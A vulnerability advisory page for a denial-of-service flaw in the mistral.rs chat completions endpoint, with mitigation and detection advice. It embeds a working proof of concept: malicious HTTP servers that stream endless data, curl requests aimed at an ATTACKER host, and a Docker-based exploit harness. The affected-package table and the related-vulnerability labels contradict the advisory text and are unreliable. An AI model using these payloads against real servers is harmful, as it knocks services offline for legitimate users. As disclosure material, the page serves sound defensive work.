mistral.rs's OpenAI-compatible chat completions endpoint fetches any attacker-supplied image, audio, or video URL into server memory with no size limit, and when video frame extraction runs without an explicit frame cap it hands FFmpeg every frame of an arbitrarily long clip — turning a single unauthenticated POST request into a full denial of service. This matters because the affected crate has 1,141 downstream dependents and the flaw requires zero credentials, zero special configuration, and no AI/ML expertise: a two-line curl request pointing at a throwaway Python HTTP server is enough, as the vendor's own dynamic PoC confirmed with an OOM kill in 1.3 seconds against a 256MB-limited process. It isn't in CISA KEV and there's no EPSS score or public scanner template yet since the advisory just published (2026-09-10), but the CVSS 7.5 score and trivial one-request exploitability mean opportunistic scanning could pick it up quickly once the PoC circulates. Patch to mistralrs-server-core 0.8.18 immediately; if you can't patch today, put the inference endpoint behind authentication and an egress-restricted network so it cannot reach attacker-controlled URLs, and monitor for abnormal outbound HTTP fetches, FFmpeg process spikes, and OOM kills on the serving host.
What is the risk?
High risk for any self-hosted mistral.rs deployment exposed to untrusted callers. Exploitability is trivial (CVSS 3.1 AV:N/AC:L/PR:N/UI:N, no auth required, single HTTP request) and impact is a full availability loss (A:H) with no confidentiality or integrity effect. The absence of an EPSS score and KEV listing reflects the advisory's freshness (published 2026-09-10) rather than low risk — the PoC is public and trivially reproducible, so opportunistic exploitation should be expected once scanners pick it up. Real-world risk is proportional to how directly the /v1/chat/completions endpoint is exposed to the internet or to untrusted internal users.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenAI Node | cargo | <= 0.8.4 | 0.8.18 |
Do you use OpenAI Node? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade mistralrs-server-core to 0.8.18 or later, the patched release referenced in the advisory. Until patched, restrict network egress from the inference host so it cannot reach arbitrary attacker-controlled URLs (allow-list trusted media origins only), require authentication in front of /v1/chat/completions (it has none by default), and enforce resource limits (cgroup memory/CPU caps, disk quotas on the FFmpeg frame-extraction temp directory) so a single request cannot take down the host. For detection, alert on sudden RSS growth or OOM kills of the serving process, FFmpeg child processes with unusually long runtimes or high frame counts, and rapid disk usage growth under /tmp/mistralrs_video/.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-m3wp-48jr-vr4g?
mistral.rs's OpenAI-compatible chat completions endpoint fetches any attacker-supplied image, audio, or video URL into server memory with no size limit, and when video frame extraction runs without an explicit frame cap it hands FFmpeg every frame of an arbitrarily long clip — turning a single unauthenticated POST request into a full denial of service. This matters because the affected crate has 1,141 downstream dependents and the flaw requires zero credentials, zero special configuration, and no AI/ML expertise: a two-line curl request pointing at a throwaway Python HTTP server is enough, as the vendor's own dynamic PoC confirmed with an OOM kill in 1.3 seconds against a 256MB-limited process. It isn't in CISA KEV and there's no EPSS score or public scanner template yet since the advisory just published (2026-09-10), but the CVSS 7.5 score and trivial one-request exploitability mean opportunistic scanning could pick it up quickly once the PoC circulates. Patch to mistralrs-server-core 0.8.18 immediately; if you can't patch today, put the inference endpoint behind authentication and an egress-restricted network so it cannot reach attacker-controlled URLs, and monitor for abnormal outbound HTTP fetches, FFmpeg process spikes, and OOM kills on the serving host.
Is GHSA-m3wp-48jr-vr4g actively exploited?
No confirmed active exploitation of GHSA-m3wp-48jr-vr4g has been reported, but organizations should still patch proactively.
How to fix GHSA-m3wp-48jr-vr4g?
Upgrade mistralrs-server-core to 0.8.18 or later, the patched release referenced in the advisory. Until patched, restrict network egress from the inference host so it cannot reach arbitrary attacker-controlled URLs (allow-list trusted media origins only), require authentication in front of /v1/chat/completions (it has none by default), and enforce resource limits (cgroup memory/CPU caps, disk quotas on the FFmpeg frame-extraction temp directory) so a single request cannot take down the host. For detection, alert on sudden RSS growth or OOM kills of the serving process, FFmpeg child processes with unusually long runtimes or high frame counts, and rapid disk usage growth under /tmp/mistralrs_video/.
What systems are affected by GHSA-m3wp-48jr-vr4g?
This vulnerability affects the following AI/ML architecture patterns: model serving, self-hosted LLM/VLM inference, multimodal input pipelines.
What is the CVSS score for GHSA-m3wp-48jr-vr4g?
GHSA-m3wp-48jr-vr4g has a CVSS v3.1 base score of 7.5 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0029 Denial of AI Service AML.T0034.001 Resource-Intensive Queries AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
## Unbounded Remote Media Fetch and Video Frame Expansion DoS ### Summary The `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default. ### Details Three independent sinks contribute to the vulnerability: **1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)** ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap Err(e) => anyhow::bail!(e), } ``` `bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely. **2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)** ```rust let bytes = if url.scheme() == "http" || url.scheme() == "https" { let resp = reqwest::get(url.clone()) .await .context(format!("Failed to fetch video: {url}"))?; resp.bytes().await?.to_vec() // no byte cap ``` Identical pattern to the image path; the full video body is buffered into a `Vec<u8>`. **3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)** ```rust } else { let mut command = tokio::process::Command::new("ffmpeg"); command .arg("-i") .arg(input_path.to_str().unwrap()) .arg("-vsync") .arg("vfr") .arg(&output_pattern); ``` When `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`: ```rust parse_video_url(&url_unparsed, None) ``` A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU. **Entry point and auth** The route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration. ### PoC **Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)** ```bash ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \ -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4 ``` **Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server** ```python # Option A: serve the video file from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "video/mp4") self.end_headers() with open("many_frames.mp4", "rb") as f: self.wfile.write(f.read()) HTTPServer(("0.0.0.0", 9001), H).serve_forever() ``` ```python # Option B: infinite image stream (memory exhaustion, no FFmpeg required) from http.server import BaseHTTPRequestHandler, HTTPServer import time class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "image/png") self.end_headers() chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8) while True: self.wfile.write(chunk) self.wfile.flush() time.sleep(0.01) HTTPServer(("0.0.0.0", 9002), H).serve_forever() ``` **Step 3 – Send the malicious request to the mistral.rs server** ```bash # Video variant (disk/CPU exhaustion + memory) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}}, {"type": "text", "text": "summarize this video"} ] }] }' # Image variant (memory exhaustion) curl -sS http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ -d '{ "model": "default", "messages": [{ "role": "user", "content": [ {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}}, {"type": "text", "text": "describe this image"} ] }] }' ``` **Expected observation** For the video variant: `/tmp/mistralrs_video/<uuid>_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed. For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted. **Dynamic reproduction result (Phase 2)** A Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete. ### Impact Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # # VULN-001 PoC: Unbounded Remote Media Fetch DoS # Repository: EricLBuehler/mistral.rs # Vulnerability: mistralrs-server-core/src/util.rs:62 # http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch # # Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch. # Stage 2: Slim runtime image used by poc.py. # ----- build stage ----------------------------------------------------------- FROM rust:1.87-slim AS builder WORKDIR /harness # Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms) RUN apt-get update && \ apt-get install -y --no-install-recommends pkg-config libssl-dev && \ rm -rf /var/lib/apt/lists/* # Copy Cargo manifest first so that dependency layer is cached separately. COPY vuln_harness/Cargo.toml Cargo.toml # Stub src so `cargo fetch` / dependency download works before copying real source. RUN mkdir -p src && echo 'fn main() {}' > src/main.rs RUN cargo fetch 2>&1 # Now copy the real source and build. COPY vuln_harness/src/main.rs src/main.rs RUN cargo build --release 2>&1 && \ strip target/release/vuln_harness # ----- runtime stage --------------------------------------------------------- FROM debian:bookworm-slim AS runtime RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates python3 && \ rm -rf /var/lib/apt/lists/* COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness # Copy the PoC orchestration script so the image is self-contained. COPY poc.py /poc.py # Default: show usage ENTRYPOINT ["/usr/local/bin/vuln_harness"] CMD ["--help"] ``` #### `poc.py` ```python """ VULN-001 PoC: Unbounded Remote Media Fetch DoS Repository : EricLBuehler/mistral.rs CWE : CWE-400 Uncontrolled Resource Consumption CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Vulnerable code (mistralrs-server-core/src/util.rs:59-62): let bytes = if url.scheme() == "http" || url.scheme() == "https" { match reqwest::get(url.clone()).await { Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP ... Attack path in the live server: POST /v1/chat/completions -> chat_completion.rs:928 parse_image_url(&url_unparsed) -> util.rs:59-62 reqwest::get(url).bytes().await?.to_vec() This PoC: 1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes. 2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside a Docker container limited to MEMORY_LIMIT_MB of RAM. 3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering. Usage (from host): # Build the image first: docker build -t vuln001-poc <vuln-001-dir> # Then run the PoC: python3 poc.py """ import http.server import subprocess import threading import time import sys import os import socket import json import argparse MALICIOUS_HOST = "127.0.0.1" MALICIOUS_PORT = 9997 DOCKER_IMAGE = "vuln001-poc" MEMORY_LIMIT = "256m" # Docker container memory cap CHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server POC_TIMEOUT_S = 120 # Give the container at most 2 minutes class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler): """ Malicious HTTP server that streams an infinite byte sequence. Key properties that trigger the vulnerability: - No Content-Length header: reqwest cannot pre-check size. - Streams indefinitely: bytes().await will not return until the connection is closed or the client process is killed. - Content-Type image/png: accepted by the parse_image_url() code path. """ def do_GET(self): self.send_response(200) self.send_header("Content-Type", "image/png") # Deliberately omit Content-Length so the client buffers until EOF. self.end_headers() # Fake PNG magic bytes followed by filler to look plausible. header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8 filler = b"\x00" * (CHUNK_SIZE - len(header)) chunk = header + filler total_sent = 0 try: while True: self.wfile.write(chunk) self.wfile.flush() total_sent += len(chunk) if total_sent % (64 * 1024 * 1024) == 0: _log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB") except (BrokenPipeError, ConnectionResetError, OSError): _log( f"[malicious-server] Connection closed after " f"{total_sent // (1024 * 1024)} MB sent" ) def log_message(self, *_): pass # Suppress default access log noise. def _log(msg: str) -> None: print(msg, flush=True) def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool: """Return True once the port is accepting connections, False on timeout.""" deadline = time.monotonic() + timeout while time.monotonic() < deadline: try: with socket.create_connection((host, port), timeout=0.5): return True except OSError: time.sleep(0.1) return False def start_malicious_server() -> http.server.HTTPServer: """Start the infinite-stream HTTP server in a daemon thread.""" server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler) t = threading.Thread(target=server.serve_forever, daemon=True) t.start() return server def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict: """ Run the full attack chain and return a result dict. Returns keys: passed, verdict, exit_code, evidence, stdout, stderr. """ _log("=" * 70) _log("VULN-001 PoC: Unbounded Remote Media Fetch DoS") _log("Source : mistralrs-server-core/src/util.rs:59-62") _log("=" * 70) # ------------------------------------------------------------------ # Step 1: Start the malicious streaming server. # ------------------------------------------------------------------ _log(f"\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}") server = start_malicious_server() if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT): _log("[!] FATAL: malicious server did not start in time") return { "passed": False, "verdict": "FAIL", "exit_code": None, "evidence": "Malicious HTTP server failed to start", "stdout": "", "stderr": "", } target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite" _log(f"[+] Malicious server ready: GET {target_url}") _log(f" -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body") # ------------------------------------------------------------------ # Step 2: Run the vulnerable binary inside Docker with a memory cap. # # --network host : allows the container to reach 127.0.0.1:<port> # --memory : hard cap; kernel sends SIGKILL when exceeded # --memory-swap : equal to --memory disables swap usage # --rm : clean up after exit # ------------------------------------------------------------------ run_cmd = [ "docker", "run", "--rm", "--memory", memory_limit, "--memory-swap", memory_limit, # No swap fallback. "--network", "host", # Access host's loopback server. docker_image, target_url, ] _log(f"\n[2] Launching Docker container (memory cap = {memory_limit})") _log(f" Command: {' '.join(run_cmd)}") _log(f" The vuln_harness binary will fetch {target_url} with no byte limit.") _log(f" Expected: container OOM-killed, exit code 137.") t0 = time.monotonic() try: result = subprocess.run( run_cmd, capture_output=True, timeout=POC_TIMEOUT_S, ) except subprocess.TimeoutExpired as exc: server.shutdown() _log(f"[!] Container did not exit within {POC_TIMEOUT_S}s — killing") subprocess.run(["docker", "kill", "--signal=9"] + [ c for c in subprocess.run( ["docker", "ps", "-q", "--filter", f"ancestor={docker_image}"], capture_output=True, text=True, ).stdout.split() if c ], capture_output=True) elapsed = time.monotonic() - t0 return { "passed": False, "verdict": "INCOMPLETE", "exit_code": None, "evidence": f"Container timed out after {elapsed:.0f}s without OOM kill", "stdout": (exc.stdout or b"").decode(errors="replace"), "stderr": (exc.stderr or b"").decode(errors="replace"), } elapsed = time.monotonic() - t0 exit_code = result.returncode stdout_txt = result.stdout.decode(errors="replace") stderr_txt = result.stderr.decode(errors="replace") server.shutdown() # ------------------------------------------------------------------ # Step 3: Analyse outcome. # ------------------------------------------------------------------ _log(f"\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}") _log(f" stdout: {stdout_txt!r}") _log(f" stderr: {stderr_txt!r}") # Docker exit code 137 = container killed by SIGKILL (OOM killer). if exit_code == 137: passed = True verdict = "PASS" evidence = ( f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. " f"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all " f"{memory_limit} of available RAM — identical behaviour to " f"mistralrs-server-core/src/util.rs:62 (parse_image_url). " f"stderr={stderr_txt!r}" ) elif exit_code != 0: # Non-zero but not 137: still indicates abnormal termination under memory pressure. passed = True verdict = "PASS" evidence = ( f"Vulnerable binary terminated abnormally (exit code {exit_code}) after " f"{elapsed:.1f}s while buffering an unbounded HTTP stream. " f"This confirms that reqwest::get(url).bytes().await?.to_vec() at " f"util.rs:62 has no byte cap and causes resource exhaustion. " f"stderr={stderr_txt!r}" ) else: # Unlikely: the binary finished without being killed. This can happen if # the server managed to EOF the stream before OOM, or the memory cap was # not enforced by Docker. passed = False verdict = "INCOMPLETE" evidence = ( f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been " f"enforced by Docker. stdout={stdout_txt!r}" ) _log(f"\n[VERDICT] {verdict}") _log(f"[EVIDENCE] {evidence}") return { "passed": passed, "verdict": verdict, "exit_code": exit_code, "evidence": evidence, "stdout": stdout_txt, "stderr": stderr_txt, } def main() -> None: parser = argparse.ArgumentParser(description="VULN-001 PoC runner") parser.add_argument("--image", default=DOCKER_IMAGE, help="Docker image name") parser.add_argument("--memory", default=MEMORY_LIMIT, help="Docker memory cap (e.g. 256m)") args = parser.parse_args() outcome = run_poc(docker_image=args.image, memory_limit=args.memory) _log("\n" + "=" * 70) _log("RESULT SUMMARY") _log("=" * 70) for k, v in outcome.items(): if k not in ("stdout", "stderr"): _log(f" {k}: {v}") sys.exit(0 if outcome["passed"] else 1) if __name__ == "__main__": main() ```
Exploitation Scenario
An attacker with only network access to a self-hosted mistral.rs endpoint stands up a small HTTP server that either streams an endless byte sequence labeled as image/png or serves a long, high-framerate video file. They send a single unauthenticated POST to /v1/chat/completions with an image_url or video_url field pointing at that server. The mistral.rs process immediately begins buffering the response body into memory (or, for video, invoking FFmpeg to extract every frame to disk) with no size or count cap, and within seconds the process is OOM-killed or the disk fills, taking the inference service down for every legitimate user until it is manually restarted.
Weaknesses (CWE)
CWE-400 — Uncontrolled Resource Consumption: The product does not properly control the allocation and maintenance of a limited resource.
- [Architecture and Design] Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- [Architecture and Design] Mitigation of resource exhaustion attacks requires that the target system either: The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker. recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H References
Timeline
Related Vulnerabilities
GHSA-vjc7-jrh9-9j86 10.0 9Router: no-auth API leaks keys, chats, provider control
Same package: openai CVE-2026-61539 10.0 Xinference: eval() on LLM output enables RCE
Same package: openai CVE-2024-23827 9.8 Nginx-UI: arbitrary file write via cert import leads to RCE
Same package: openai CVE-2025-61260 9.8 OpenAI Codex CLI: RCE via malicious MCP config files
Same package: openai CVE-2026-19593 9.8 Codex Desktop: Git config filter triggers sandbox-escape RCE
Same package: openai